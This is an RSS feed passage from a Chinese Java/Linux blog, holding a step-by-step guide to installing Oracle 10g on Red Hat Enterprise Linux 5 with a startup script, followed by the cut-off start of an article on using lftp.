﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-kxbin-文章分类-Linux</title><link>http://www.blogjava.net/kxbin/category/50575.html</link><description>成功留给有准备的人</description><language>zh-cn</language><lastBuildDate>Wed, 26 Sep 2012 23:45:49 GMT</lastBuildDate><pubDate>Wed, 26 Sep 2012 23:45:49 GMT</pubDate><ttl>60</ttl><item><title>linux oracle10g安装</title><link>http://www.blogjava.net/kxbin/articles/388272.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Fri, 21 Sep 2012 08:49:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/388272.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/388272.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/388272.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/388272.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/388272.html</trackback:ping><description><![CDATA[<div style="margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><strong style="padding: 0px; margin: 0px; ">一、安装系统</strong></div><blockquote style="padding: 0px; margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><div style="margin: 0px; ">首先安装Linux系统，根据Oracle官方文档的建议，在机器内存小于1G的情况下，swap分区大小应该设置为内存的2倍大，若内存大于2G则swap分区设置为与内存大小一样。</div></blockquote><blockquote style="padding: 0px; margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><div style="margin: 0px; ">为防止Oracle安装过程中出现乱码，建议使用英文作为系统语言，进行Oracle的安装工作</div></blockquote><div style="margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><strong style="padding: 0px; margin: 0px; ">二、安装Oracle前的系统准备工作</strong></div><blockquote style="padding: 0px; margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">1.检查需要的软件包</strong></div><div style="margin: 0px; ">可以使用rpm -qa|grep 软件包关键词命令进行检测，一般情况下会需要手动安装如下的软件包：</div><div style="margin: 0px; ">&nbsp; From RedHat AS5 Disk 1（32 Bit）</div><div style="margin: 0px; ">&nbsp; # rpm -Uvh setarch-2*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh make-3*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh glibc-2*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh libaio-0*</div><div style="margin: 0px; ">&nbsp; From RedHat AS5 Disk 2（32 Bit）</div><div style="margin: 0px; ">&nbsp; # rpm -Uvh compat-libstdc -33-3*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh compat-gcc-34-3*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh compat-gcc-34-c -3*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh gcc-4*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh libXp-1*</div><div style="margin: 0px; ">&nbsp; From RedHat AS5 Disk 3（32 Bit）</div><div style="margin: 0px; ">&nbsp; # rpm -Uvh openmotif-2*&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp; # rpm -Uvh compat-db-4*</div><div style="margin: 0px; ">如果使用DVD安装介质的话，会很方便。</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">2.修改Linux发行版本信息</strong></div><div style="margin: 0px; ">由于Oracle 10g发行的时候，RedHat Enterprise Linux 5没有发行，所以Oracle 10g并没有对RedHat Enterprise Linux 5确认支持，我们有两种方法可以让Oracle 10g支持RedHat Enterprise Linux 5。</div><div style="margin: 0px; "><em style="padding: 0px; margin: 0px; font-style: normal; "><strong style="padding: 0px; margin: 0px; ">方法一：</strong></em></div><div style="margin: 0px; ">我们需要手工修改Linux的发行注记，让Oracle 10g支持RedHat Enterprise Linux 5。</div><div style="margin: 0px; ">编辑/etc/redhat-release文件</div><div style="margin: 0px; "># vi /etc/redhat-release</div><div style="margin: 0px; ">将其中的内容Red Hat Enterprise Linux Server release 5 (Tikanga)修改为Red Hat Enterprise Linux AS release 4 (Nahant Update 4)</div><div style="margin: 0px; "><em style="padding: 0px; margin: 0px; font-style: normal; "><strong style="padding: 0px; margin: 0px; ">方法二：</strong></em></div><div style="margin: 0px; ">还有文章说修改Oracle安装包中install/oraparam.ini文件的内容，也可以让Oracle 10g支持RedHat Enterprise Linux 5，修改方法如下：</div><div style="margin: 0px; "># vi install/oraparam.ini</div><div style="margin: 0px; ">在其中的Certified Versions段落增加redhat-5</div><div style="margin: 0px; ">#[Certified Versions]&nbsp;<br style="padding: 0px; margin: 0px; " />Linux=redhat-3,SuSE-9,redhat-4,redhat-5,UnitedLinux-1.0,asianux-1,asianux-2]</div><div style="margin: 0px; ">再添加&nbsp;<br style="padding: 0px; margin: 0px; " />[Linux-redhat-5.0-optional]&nbsp;<br style="padding: 0px; margin: 0px; " />TEMP_SPACE=80&nbsp;<br style="padding: 0px; margin: 0px; " />SWAP_SPACE=150&nbsp;<br style="padding: 0px; margin: 0px; " />MIN_DISPLAY_COLORS=256</div><div style="margin: 0px; ">经我测试，发现方法二在安装之前的系统检测过程可以通过，但是在安装过程中的系统支持检测无法通过，不知道是不是我设置的有问题，希望有高手可以给我点提示。</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">3.修改系统内核参数</strong></div><div style="margin: 0px; "># vi /etc/sysctl.conf</div><div style="margin: 0px; ">kernel.shmall = 2097152&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 该参数表示系统一次可以使用的共享内存总量（以页为单位）。缺省值就是2097152，通常不需要修改kernel.shmmax = 2147483648&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 该参数定义了共享内存段的最大尺寸（以字节为单位）。缺省为32M，对于oracle来说，该缺省值太低了，通常将其设置为2G&nbsp;<br style="padding: 0px; margin: 0px; " />kernel.shmmni = 4096&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 这个内核参数用于设置系统范围内共享内存段的最大数量。该参数的默认值是 4096 。通常不需要更改&nbsp;<br style="padding: 0px; margin: 0px; " />kernel.sem = 250 32000 100 128&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 表示设置的信号量&nbsp;<br style="padding: 0px; margin: 0px; " />fs.file-max = 65536&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 表示文件句柄的最大数量。文件句柄设置表示在linux系统中可以打开的文件数量&nbsp;<br style="padding: 0px; margin: 0px; " />net.ipv4.ip_local_port_range = 1024 65000&nbsp;<br style="padding: 0px; margin: 0px; " />net.core.rmem_default=262144&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 默认的接收窗口大小&nbsp;<br style="padding: 0px; margin: 0px; " />net.core.rmem_max=262144&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 接收窗口的最大大小&nbsp;<br style="padding: 0px; margin: 0px; " />net.core.wmem_default=262144&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 默认的发送窗口大小&nbsp;<br style="padding: 0px; margin: 0px; " />net.core.wmem_max=262144&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 发送窗口的最大大小</div><div style="margin: 0px; ">修改好内核参数后，执行如下命令使新的设置生效</div><div style="margin: 0px; "># /sbin/sysctl -p</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">4.创建Oracle用户、组、安装目录</strong></div><div style="margin: 0px; ">在这里我只讨论单主机环境，不考虑RAC环境的配置，在以后我会专门写一篇如何配置Oracle RAC环境的文章。</div><div style="margin: 0px; ">(1) 创建Oracle用户组</div><div style="margin: 0px; "># groupadd oinstall&nbsp;<br style="padding: 0px; margin: 0px; " /># groupadd dba</div><div style="margin: 0px; ">(2) 创建Oracle用户</div><div style="margin: 0px; "># useradd -m -g oinstall -G dba oracle</div><div style="margin: 0px; ">(3) 设置Oracle用户口令</div><div style="margin: 0px; "># passwd oracle</div><div style="margin: 0px; ">(4) 创建Oracle安装目录以及数据存放目录</div><div style="margin: 0px; "># mkdir -p /DBSoftware/app/oracle&nbsp;<br style="padding: 0px; margin: 0px; " /># mkdir -p /DBData/oradata</div><div style="margin: 0px; ">(5) 修改目录权限</div><div style="margin: 0px; "># chown -R oracle:oinstall /DBSoftware/app/oracle/ /DBData/oradata/&nbsp;<br style="padding: 0px; margin: 0px; " /># chmod -R 755 /DBSoftware/app/oracle/ /DBData/oradata/</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">5.添加以下内容到/etc/security/limits.conf</strong></div><div style="margin: 0px; "># vi /etc/security/limits.conf</div><div style="margin: 0px; ">oracle soft nproc 2047&nbsp;<br style="padding: 0px; margin: 0px; " />oracle hard nproc 16384&nbsp;<br style="padding: 0px; margin: 0px; " />oracle soft nofile 1024&nbsp;<br style="padding: 0px; margin: 0px; " />oracle hard nofile 65536</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">6.添加以下内容到/etc/pam.d/login</strong></div><div style="margin: 0px; "># vi /etc/pam.d/login</div><div style="margin: 0px; ">session required /lib/security/pam_limits.so&nbsp;<br style="padding: 0px; margin: 0px; " />session required pam_limits.so</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">7.添加以下内容到/etc/profile</strong></div><div style="margin: 0px; "># vi /etc/profile</div><div style="margin: 0px; ">if [ $USER = "oracle" ]; then&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; if [ $SHELL = "/bin/ksh" ]; then&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulimit -p 16384&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulimit -n 65536&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; else&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulimit -u 16384 -n 65536&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; fi&nbsp;<br style="padding: 0px; margin: 0px; " />fi</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">8.配置Linux主机</strong></div><div style="margin: 0px; ">检查/etc/hosts文件中是否有localhost的记录（指向127.0.0.1即可），若没有的话，在后面配置Oracle监听的时候会出现一些问题，导致无法启动监听，在此手工添加此记录即可。</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">9.配置oracle用户环境变量</strong></div><div style="margin: 0px; "># su - oracle&nbsp;<br style="padding: 0px; margin: 0px; " />$ vi ~/.bash_profile</div><div style="margin: 0px; ">增加如下内容：</div><div style="margin: 0px; ">export ORACLE_BASE=/DBSoftware/app/oracle&nbsp;&nbsp; // 上面创建的Oracle安装文件夹&nbsp;<br style="padding: 0px; margin: 0px; " />export ORACLE_SID=orcl&nbsp;<br style="padding: 0px; margin: 0px; " />export ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1</div><div style="margin: 0px; ">export PATH=$PATH:$ORACLE_HOME/bin&nbsp;<br style="padding: 0px; margin: 0px; " />export LD_LIBARY_PATH=$ORACLE_HOME/lib</div><div style="margin: 0px; ">export PATH&nbsp;<br style="padding: 0px; margin: 0px; " />umask 022</div><div style="margin: 0px; ">保存后使用如下命令，使设置生效：</div><div style="margin: 0px; ">$ source ~/.bash_profile</div></blockquote><div style="margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><strong style="padding: 0px; margin: 0px; ">三、安装Oracle，并进行相关设置</strong></div><blockquote style="padding: 0px; margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">1.解压缩安装文件</strong></div><div style="margin: 0px; ">Oracle的安装包有这样几种格式：</div><div style="margin: 0px; ">(1) zip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10201_database_linux32.zip</div><div style="margin: 0px; ">这种格式最好解压缩，直接使用命令unzip 文件名即可</div><div style="margin: 0px; ">(2) cpio.gz</div><div style="margin: 0px; ">这种格式有这样几种解压缩方式</div><div style="margin: 0px; ">a.&nbsp; # zcat XXXX.cpio.gz | cpio -idmv&nbsp;<br style="padding: 0px; margin: 0px; " />b.&nbsp; # gunzip XXXX.cpio.gz解压出XXXX.cpio文件然后再 # cpio -idvm &amp;lt; XXXX.cpio</div><div style="margin: 0px; ">解压缩完成后，设置oracle帐户可以操作安装文件所在的目录</div><div style="margin: 0px; ">chown -R oracle:oinstall 安装文件所在目录</div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">2. 用oracle帐户进入安装文件所在目录，执行如下命令即可看到安装界面：</strong></div><div style="margin: 0px; ">$ ./runInstaller</div><div style="margin: 0px; ">如果无法看到安装界面，请使用root帐户执行如下命令后再运行安装程序：</div><div style="margin: 0px; "># export DISPLAY=:0.0&nbsp;<br style="padding: 0px; margin: 0px; " /># xhost +&nbsp;<br style="padding: 0px; margin: 0px; " />$ ./runInstaller</div><div style="margin: 0px; ">出现安装界面后，根据界面提示进行相关的设置，我的建议是在安装过程中不创建数据库，只安装程序，监听和创建数据库等安装完成后再进行相关的操作。</div><div style="margin: 0px; ">安装过程中，需要使用root权限执行两个脚本。</div><div style="margin: 0px; ">&nbsp;</div><p style="padding: 0px 0px 15px; margin: 0px; "><a target="_blank" href="http://img1.51cto.com/attachment/201109/102441824.jpg" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; "><img alt="" border="0" src="http://img1.51cto.com/attachment/201109/102441824.jpg" style="padding: 0px; margin: 0px; vertical-align: top; border: none; " /></a></p><div style="margin: 0px; ">&nbsp;</div><p style="padding: 0px 0px 15px; margin: 0px; "><a target="_blank" href="http://img1.51cto.com/attachment/201109/102518944.jpg" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; "><img alt="" border="0" src="http://img1.51cto.com/attachment/201109/102518944.jpg" style="padding: 0px; margin: 0px; vertical-align: top; border: none; " /></a>&nbsp;<a target="_blank" href="http://img1.51cto.com/attachment/201109/102518845.jpg" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; "><img alt="" border="0" src="http://img1.51cto.com/attachment/201109/102518845.jpg" style="padding: 0px; margin: 0px; vertical-align: top; border: none; " /></a>&nbsp;<a target="_blank" href="http://img1.51cto.com/attachment/201109/102518196.jpg" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; "><img alt="" border="0" src="http://img1.51cto.com/attachment/201109/102518196.jpg" style="padding: 0px; margin: 0px; vertical-align: top; border: none; " /></a>&nbsp;<a target="_blank" href="http://img1.51cto.com/attachment/201109/102518276.jpg" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; "><img alt="" border="0" src="http://img1.51cto.com/attachment/201109/102518276.jpg" style="padding: 0px; margin: 0px; vertical-align: top; border: none; " /></a></p><p style="padding: 0px 0px 15px; margin: 0px; "><a target="_blank" href="http://img1.51cto.com/attachment/201109/102539362.jpg" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; "><img alt="" border="0" src="http://img1.51cto.com/attachment/201109/102539362.jpg" style="padding: 0px; margin: 0px; vertical-align: top; border: none; " /></a>&nbsp;<a target="_blank" href="http://img1.51cto.com/attachment/201109/102539562.jpg" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; "><img alt="" border="0" src="http://img1.51cto.com/attachment/201109/102539562.jpg" style="padding: 0px; margin: 0px; vertical-align: top; border: none; " /></a></p><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">3. 安装完成后，将/etc/redhat-release文件中的内容修改回Red Hat Enterprise Linux Server release 5 (Tikanga)</strong></div><div style="margin: 0px; "><strong style="padding: 0px; margin: 0px; ">4.创建监听以及创建数据库</strong></div><div style="margin: 0px; ">(1) 创建监听程序</div><div style="margin: 0px; ">使用Oracle提供的NET CONFIGURATION ASSISTANT创建TNS监听</div><div style="margin: 0px; ">$ netca</div><div style="margin: 0px; ">基本上就是一直Next就可以了，当然你也可以在这期间修改TNS的监听端口号</div><div style="margin: 0px; ">TNS监听创建完成后可以使用如下命令进行检查：</div><div style="margin: 0px; "># netstat -atln&nbsp;&nbsp;&nbsp; 检查监听端口是否打开&nbsp;<br style="padding: 0px; margin: 0px; " />$ lsnrctl status&nbsp;&nbsp;&nbsp; 检查TNS监听状态</div><div style="margin: 0px; ">确认监听已经成功启动后，即可执行Database Configure Assistant进行数据库的创建，执行命令如下：</div><div style="margin: 0px; ">$ dbca</div><div style="margin: 0px; ">在创建数据库的过程中，建议将数据库的字符集设置为Unicode UTF-8，防止出现乱码。</div></blockquote><div style="margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><strong style="padding: 0px; margin: 0px; ">四、数据库的启动脚本（转载自<a href="http://82584.blog.51cto.com/72584/110131" style="padding: 0px; margin: 0px; color: #015f91; text-decoration: none; ">[url]http://82584.blog.51cto.com/72584/110131[/url]</a>）</strong></div><blockquote style="padding: 0px; margin: 0px; color: #555555; font-family: 宋体, 'Arial Narrow', arial, serif; line-height: 28px; background-color: #ffffff; "><div style="margin: 0px; "># vi /etc/rc.d/init.d/oracle</div><div style="margin: 0px; ">================================ Script File Start ================================&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;</div><div style="margin: 0px; ">#!/bin/bash&nbsp;<br style="padding: 0px; margin: 0px; " />#&nbsp;<br style="padding: 0px; margin: 0px; " /># chkconfig: 35 95 1&nbsp;<br style="padding: 0px; margin: 0px; " /># description: init script to start/stop oracle database 10g, TNS listener, EMS&nbsp;<br style="padding: 0px; margin: 0px; " /># match these values to your environment:</div><div style="margin: 0px; ">export ORACLE_BASE=/DBSoftware/app/oracle&nbsp;<br style="padding: 0px; margin: 0px; " />export ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1</div><div style="margin: 0px; ">export PATH=/u01/app/oracle/bin:$ORACLE_HOME/bin:$PATH&nbsp;<br style="padding: 0px; margin: 0px; " />export ORACLE_SID=orcl&nbsp;<br style="padding: 0px; margin: 0px; " />export ORACLE_USER=oracle</div><div style="margin: 0px; "># see how we are called:&nbsp;<br style="padding: 0px; margin: 0px; " />case $1 in&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; start)&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; su - "$ORACLE_USER"&amp;lt;&amp;lt;EOO&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lsnrctl start&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sqlplus /nolog&amp;lt;&amp;lt;EOS&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; connect / as sysdba&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; startup&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; EOS&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; emctl start dbconsole&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; EOO&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; touch /var/lock/subsys/$scriptname&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; ;;&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; stop)&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; su - "$ORACLE_USER"&amp;lt;&amp;lt;EOO&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lsnrctl stop&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sqlplus /nolog&amp;lt;&amp;lt;EOS&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; connect / as sysdba&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shutdown immediate&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; EOS&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; emctl stop dbconsole&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; EOO&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; rm -f /var/lock/subsys/scriptname&nbsp;<br style="padding: 0px; margin: 0px; " />&nbsp;&nbsp;&nbsp; ;;&nbsp;<br style="padding: 0px; margin: 0px; " />*)&nbsp;<br style="padding: 0px; margin: 0px; " />echo "Usage: $0 {start|stop}"&nbsp;<br style="padding: 0px; margin: 0px; " />;;&nbsp;<br style="padding: 0px; margin: 0px; " />esac</div><div style="margin: 0px; ">================================ Script File End ================================</div><div style="margin: 0px; ">授权 ：chown root.root /etc/rc.d/init.d/oracle</div><div style="margin: 0px; ">修改文件属性：chmod 755 /etc/rc.d/init.d/oracle</div><div style="margin: 0px; ">以后启动/关闭Oracle可以使用如下命令操作：</div><div style="margin: 0px; "># service oracle start&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 启动监听、数据库以及em&nbsp;<br style="padding: 0px; margin: 0px; " /># service oracle stop&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; 关闭监听、数据库以及em</div><div style="margin: 0px; ">当然你也可以把Oracle作为系统服务，随系统启动等等。</div></blockquote><img src ="http://www.blogjava.net/kxbin/aggbug/388272.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-09-21 16:49 <a href="http://www.blogjava.net/kxbin/articles/388272.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux ftp下操作</title><link>http://www.blogjava.net/kxbin/articles/383824.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 24 Jul 2012 03:26:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383824.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383824.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383824.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383824.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383824.html</trackback:ping><description><![CDATA[<p align="left" style="text-align:left; word-break:break-all"><strong><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">&nbsp; &nbsp;</span></strong><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">使用</span></strong><strong><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">lftp <br /> &nbsp;1</span></strong><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">、登录</span></strong><strong><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">ftp</span></strong><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">代码</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">:<br /> lftp </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">用户名</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">:</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">密码</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">@ftp</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">地址</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">:</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">传送端口（默认</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">21</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">）</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">用法</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> (1)lftp username:password@127.0.0.1:21 </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">回车</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> (2)lftp username@127.0.0.1 </span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">回车</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">&nbsp;&nbsp;&nbsp;&nbsp; ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">默认</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">21</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">端口</span> <span style="font-size:10.0pt;font-family:宋体;color:#333333;">回车后输入密码</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> (3)lftp 127.0.0.1 </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">回车</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">&nbsp;&nbsp; ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">回车后</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> login </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">登录</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> (4)lftp </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">回车</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> --&gt; open 127.0.0.1 --&gt; login </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">登录</span></p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><strong>2</strong></span><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">、</span></strong><strong><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">lftp</span></strong><strong><span style="font-size:10.0pt; font-family:宋体;color:#333333;">中文乱码问题</span></strong><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">对于像我这样的新手，登录后看到的都是中文乱码</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">因为一般本地都是</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">utf-8</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">的编码</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">),</span><span 